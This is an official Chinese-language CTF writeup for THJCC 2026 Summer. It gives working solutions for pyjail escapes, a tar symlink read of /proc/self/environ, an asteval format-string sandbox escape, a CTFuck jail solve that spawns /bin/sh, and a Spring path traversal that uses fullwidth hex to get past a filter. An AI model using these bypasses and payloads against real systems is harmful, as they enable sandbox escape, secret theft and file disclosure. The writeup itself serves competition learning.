THJCC 2026 Summer — Official Writeup (zh-TW)
13 mins
2676 words
Loading views
REC CTF

Before allh2

雖然這是辦給新手的比賽,但現在 AI/LLM 發展實在是太快了,也就導致許多題目很多參賽者都沒看就直接給 AI 做,我還是希望有能力的各位可以動手解解看XD,希望這次在 THJCC 出的題目大家可以喜歡~

Welcomeh2

  • solve: 149/315

好像有人反映這題出的不太好,作為簽到題我覺得難度應該沒有很難,如果直接丟給 AI 的話八成會卡一陣子
題目只給你一個 gif,我們知道 gif 是多張圖片連續播放,形成無限循環的動態短片,所以到網路上 google 一下不難找到一些 gif 分解的網站,隨便找一個都可以,然後可以得到 https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6,進到網站裡把 passcode 複製貼上就可以拿到 https://pastebin.com/DUxM02Gp ,進去就有flag了。 welcome

Misch2

67jailh3

  • solve: 124/315

題目檔案如下

#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}
s = input(">> ")
if len(s) != 6767:
exit("wrong length :(")
if any(c in s for c in "'\"_`\\#"):
exit("that's not good :(")
if any(c.isascii() and c.isalnum() for c in s):
exit("no no no!!!")
if s.count(";") > 1:
exit("too many semicolons!")
for c in s:
if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
exit("bad:(((")
exec(s, {"__builtins__": banned}, {})

給了一個允許名單(我變數打成banned),我們能用的就是printopenchr,接著有五個 if 檢查:

  1. 輸入長度必須為 6767
  2. 輸入不能出現任何 '"_\# 中任一者
  3. 輸入內不能有 ASCII 英文字母和數字
  4. 分號最多一個
  5. 輸入中不能出現合法且經 NFKC 正規化後不變的 Python 識別符字元

先看第五點檢查,我們要找到NFKC 後不變的字元,不難想到可以用全形繞過。

>>> 'p'.isidentifier()
True
>>> unicodedata.normalize("NFKC", 'p') == 'p'
False

接著看第三點,輸入中不能有 ASCII 英文字母和數字,可以想到在 Python 裡面 True 就是 1,所以可以用 ()==()[]==[]{}=={} 代表 1,以上三種都可以使用。

那要怎麼造出其他數字呢?我們利用 Python 的特性:

=()==() # t = 1

接著用 << 可以造出二次方,一樣用 t 當變數,例如:

t<<t # 2
t<<t<<t # 4
t<<t<<t<<t # 8

以此類推,結合加法就可以造出任意數字。 我們的目標是組出 print(open('/flag').read()),因此可以寫個簡單的腳本生 payload,把以上資訊結合後,補空白到長度 6767 即可。

  • payload.py
#!/usr/bin/env python3
def z(s):
return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)
t = z('t')
def num(n):
r, i = [], 0
while n:
if n & 1:
r.append('(' + '<<'.join([t] * (i + 1)) + ')')
n >>= 1
i += 1
return '+'.join(r)
def ch(c):
return z('chr') + '(' + num(ord(c)) + ')'
payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)

另外表揚一下 R3X DJ 寫的很詳細XD

Time Machineh3

  • solve: 49/315

這題沒給 source,可以看到這是一個可以上傳 .zip / .tar / .tar.gz / .tgz / .tar.bz2 / .tar.xz 的系統,然後 Snapshot 把你上傳的所有東西打包成 snapshot.zip 下載。

題目有說後端是用 Python 的 shutil,原始碼在這 (source)。

shutil.unpack_archive() 會依副檔名查 _UNPACK_FORMATS,決定要交給誰處理:

_UNPACK_FORMATS = {
'tar': (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
'zip': (['.zip'], _unpack_zipfile, [], "ZIP file"),
}

也就是說 zip 走 _unpack_zipfile,tar 走 _unpack_tarfile,先看看 zip 他是怎麼寫的:

def _unpack_zipfile(filename, extract_dir):
"""Unpack zip `filename` to `extract_dir`"""
import zipfile # late import for breaking circular dependency
if not zipfile.is_zipfile(filename):
raise ReadError("%s is not a zip file" % filename)
with zipfile.ZipFile(filename) as zip:
zip._ignore_invalid_names = True
zip.extractall(extract_dir)

tar 如下:

def _unpack_tarfile(filename, extract_dir, *, filter=None):
"""Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
import tarfile # late import for breaking circular dependency
try:
tarobj = tarfile.open(filename)
except tarfile.TarError:
raise ReadError(
"%s is not a compressed or uncompressed tar file" % filename)
try:
tarobj.extractall(extract_dir, filter=filter)
finally:
tarobj.close()

可以發現 _unpack_zipfile() 擋掉 / 開頭和 ..,而且都是 open(targetpath, 'wb') + copyfileobj 寫成普通檔案,接著看到 tar,會發現沒有任何名字檢查,而且filter=None,因此我們可以利用 tar 去 symlink 任何 file。

這題的 flag 在環境變數裡面,我們可以用簡單的 linux 指令就完成這題。

  1. ln -s /proc/self/environ test.txt
  2. tar -cf solve.tar test.txt

接著把 solve.tar 傳上去再 snapshot 下來就可以看到 flag 了。

SO EZ MISCh3

  • solve: 26/315

首先連上去看看,會發現是一個 calculator,隨便送一個非 UTF-8 看報錯:

Terminal window
printf '\xfe\n' | nc HOST PORT

結果:

Terminal window
calc> Traceback (most recent call last):
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
out = ast.parse(text)
File "/usr/local/lib/python3.13/ast.py", line 50, in parse
return compile(source, filename, mode, flags,
_feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
node = self.parse(expr)
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
self.raise_exception(None, exc=RuntimeError, expr=text)
~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
raise exc(self.error_msg)
RuntimeError
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/srv/server.py", line 130, in <module>
main()
~~~~^^
File "/srv/server.py", line 126, in main
print(evaluate(interp, line), flush=True)
~~~~~~~~^^^^^^^^^^^^^^
File "/srv/server.py", line 107, in evaluate
result = interp(src, raise_errors=False)
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
return self.eval(expr, **kw)
~~~~~~~~~^^^^^^^^^^^^
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
print(errmsg, file=self.err_writer)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

總之可以發現他是 Python 的 asteval,然後 Python 版本是 3.13,去翻一下原始碼(source),然後發現 asteval 這個 lib 有一個 CVE,重點在最後:

def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
"formatting used in f-strings"
val = self.run(node.value)
fstring_converters = {115: str, 114: repr, 97: ascii}
if node.conversion in fstring_converters:
val = fstring_converters[node.conversion](val)
fmt = '{__fstring__}'
if node.format_spec is not None:
fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

根據題目說 The bug has no patch,所以直接照 advisory 的 PoC 打是不會過的,因為那份 PoC 在 1.0.6 就被擋掉了,而目前題目跑的是 1.0.9。去比對一下現在的 on_formattedvalue,會發現最後一行被換掉了:

1.0.6
return fmt.format(__fstring__=val)
# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

1.0.9 只是把原本 fmt.format 改成自己的 safe_format,format_spec 還是先被 self.run() 求值成字串,再用 f-string 字串串接拼回模板裡。

那 SafeFormatter 到底擋了什麼?我們回原始碼繼續看:

class SafeFormatter(Formatter):
def __init__(self, raise_exc, node):
self.raise_exc = raise_exc
self.node = node
super().__init__()
def get_field(self, field_name, args, kwargs):
first, rest = formatter_field_name_split(field_name)
obj = self.get_value(first, args, kwargs)
for is_attr, i in rest:
if is_attr:
obj = safe_getattr(obj, i, self.raise_exc, self.node)
else:
obj = obj[i]
return obj, first

跟去看 safe_getattr

def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
"""safe version of getattr"""
unsafe = (attr in UNSAFE_ATTRS or
(attr.startswith('__') and attr.endswith('__')))
if not unsafe:
for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
if unsafe:
break
if not unsafe and not allow_unsafe_modules:
for mod in UNSAFE_MODULES:
unsafe = obj is mod or getattr(obj, attr) is mod
if unsafe:
break
if unsafe:
msg = f"no safe attribute '{attr}' for {repr(obj)}"
raise_exc(node, exc=AttributeError, msg=msg)
else:
return getattr(obj, attr, None)

發現他只擋了 __,但任意物件走訪還能進行,連上題目看看:

Terminal window
calc> WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=<Secret value=***REDACTED***>)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=<Secret value=***REDACTED***>)), cells={'A1': 0})})

我們的目標是拿到 WB.sheets["audit"].owner.session.token.value,送過去後發現 error: banned character '[',我們不難想到可以用 chr() 去繞過,payload 構造大概長這樣 f"{WB:SPEC}",其中 SPEC 為 '}{__fstring__.sheets[audit].owner.session.token.value',最後拼起來得到 {__fstring__:}{__fstring__.sheets[audit].owner.session.token.value},得最終 payload f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}",一些被 ban 的字元轉 chr(),得到f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"

CTFxckh3

  • solve: 14/315

也是一題 jail 題型,題目給了以下資訊:

  1. server 跑的是 ctfuck interpreter
  2. 送一段 CTFuck 程式過去,最後一行 EOF
  3. 它印出來的東西 server 會 exec()

關於 CTFuck 可以參考這裡:https://esolangs.org/wiki/CTFuck

題目我有設定輸入長度不能超過 110,也就是說 wiki 上面的例子沒啥參考性,這裡我有兩個選擇,第一是 breakpoint(),第二是 exec(input()),這樣問題就變成怎麼用最少的 CTFuck 字元印出 12~13 個 byte?

先看 wiki 的寫法。印一個 byte 的直覺做法是 push 8 個 bit,再一個一個走訪:

01001000
.$.$.$.$.$.$.$.$

8 + 1 + 16 = 25 個字元才印一個 byte,這樣沒辦法把 payload 壓到 110 以下,所以我們應該回去看 interpreter,有一點可以注意一下,queue 空的時候執行 $ . : [a|b],整個程式就結束,所以不用一個一個 bit 去走訪,直接把整個 payload 的 bit 全部 push 進 queue,然後排乾就可以,大概長這樣:

<payload 的 bits>
.$[2|2]

. 印 front 但不會 pop,所以要接 $[2|2] 不管 0 還 1 都跳回第二行,無限迴圈,queue 空了就自己停。

  • solve script
#!/usr/bin/env python3
from pwn import *
def compile(payload):
bits = ""
for c in payload:
for i in range(8):
bits += str(c >> i & 1)
return bits.rstrip("0") + "\n.$[2|2]"
src = compile(b"exec(input())")
io = remote(HOST, PORT)
io.sendlineafter(b">>> ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()

Shifting…v2?h3

  • solve: 3/315

上次的 writeup: https://hackmd.io/@xzhiyouu/THJCC-2026 基本上是一樣的做法,之後可以得到一個 pastebin 連結 https://pastebin.com/D15r3g ,很多人在這裡就卡關了,如果自己創一個 pastebin 看看的話,會發現其實連結後面的 code 應該要有八個字元,所以寫個 script 去爆破一下就好,最後可以得到 https://pastebin.com/D15r3grG ,打開就是 flag。

Webh2

SimpleNotesh3

  • solve: 21/315

Web 黑箱題,進去之後會發現是一個 note app,目標是讀 /flag,所以很明顯是 path traversal,這邊直接用原始碼解釋:

  • NoteController.java
package tw.thjcc.simplenotes;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@RestController
public class NoteController {
private static final File NOTE_DIR = new File("/app/notes");
@GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
public List<String> list() {
File[] files = NOTE_DIR.listFiles(File::isFile);
if (files == null) {
return Collections.emptyList();
}
List<String> names = new ArrayList<>();
for (File f : files) {
names.add(f.getName());
}
Collections.sort(names);
return names;
}
@GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
public ResponseEntity<String> read(@RequestParam("f") String f) throws IOException {
String name = URLDecoder.decode(f, StandardCharsets.UTF_8);
File target = new File(NOTE_DIR, name);
if (!target.isFile()) {
return ResponseEntity.status(404).body("note not found: " + name);
}
byte[] data = Files.readAllBytes(target.toPath());
return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
}
}
  • PathGuardFilter.java
package tw.thjcc.simplenotes;
import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;
public class PathGuardFilter implements Filter {
private static final Pattern[] RULES = {
Pattern.compile("\\.\\."),
Pattern.compile("(?i)%2e"),
Pattern.compile("(?i)%2f"),
Pattern.compile("(?i)%5c"),
Pattern.compile("\\\\"),
Pattern.compile("^/"),
Pattern.compile("\\x00")
};
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if (rejected(request.getQueryString())) {
block((HttpServletResponse) res);
return;
}
for (String[] values : request.getParameterMap().values()) {
for (String value : values) {
if (rejected(value)) {
block((HttpServletResponse) res);
return;
}
}
}
chain.doFilter(req, res);
}
private boolean rejected(String input) {
if (input == null || input.isEmpty()) {
return false;
}
for (Pattern rule : RULES) {
if (rule.matcher(input).find()) {
return true;
}
}
return false;
}
private void block(HttpServletResponse response) throws IOException {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.setContentType("text/plain;charset=UTF-8");
response.setCharacterEncoding(StandardCharsets.UTF_8.name());
response.getWriter().write("u are blocked XD");
}
@Configuration
public static class Registration {
@Bean
public FilterRegistrationBean<PathGuardFilter> pathGuard() {
FilterRegistrationBean<PathGuardFilter> bean = new FilterRegistrationBean<>();
bean.setFilter(new PathGuardFilter());
bean.addUrlPatterns("/api/*");
bean.setOrder(1);
return bean;
}
}
}

我們仔細看看 NoteController.java 第 39 行:

String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

filter 檢查的是 Tomcat 解完的參數值,controller 拿到之後又自己解了一次,兩邊看到的字串其實不一樣。所以只要找一個 filter 的 regex 看不出來是 ../、但 URLDecoder 解得出來的寫法就 ok。

翻一下 JDK 17 的 URLDecoder.decode(),處理 % 的迴圈長這樣(source):

while ( ((i+2) < numChars) && (c=='%')) {
int v = Integer.parseInt(s, i + 1, i + 3, 16);
if (v < 0)
throw new IllegalArgumentException(...);
bytes[pos++] = (byte) v;
i += 3;
if (i < numChars)
c = s.charAt(i);
}

ps. 這題用的是舊版,新的已經修掉了(link)

重點是 Integer.parseInt(s, i+1, i+3, 16),他用 Character.digit(),去翻 javadoc會發現他收的是 Unicode 的十進位數字跟拉丁字母,不是只有 ASCII,比如說:

Character.digit('2', 16) == 2 // U+FF12
Character.digit('e', 16) == 14 // U+FF45

所以 URLDecoder.decode("%2e") 會解成 .,而 payload 就是把 hex 換成全形,% 要留半形,像這樣:

%2e%2e%2f%2e%2e%2fflag.txt

打 api:

Terminal window
curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'

這題的靈感是來自 black hat Asia 2026(資料),某天在找資料的時候剛好看到的。

Comments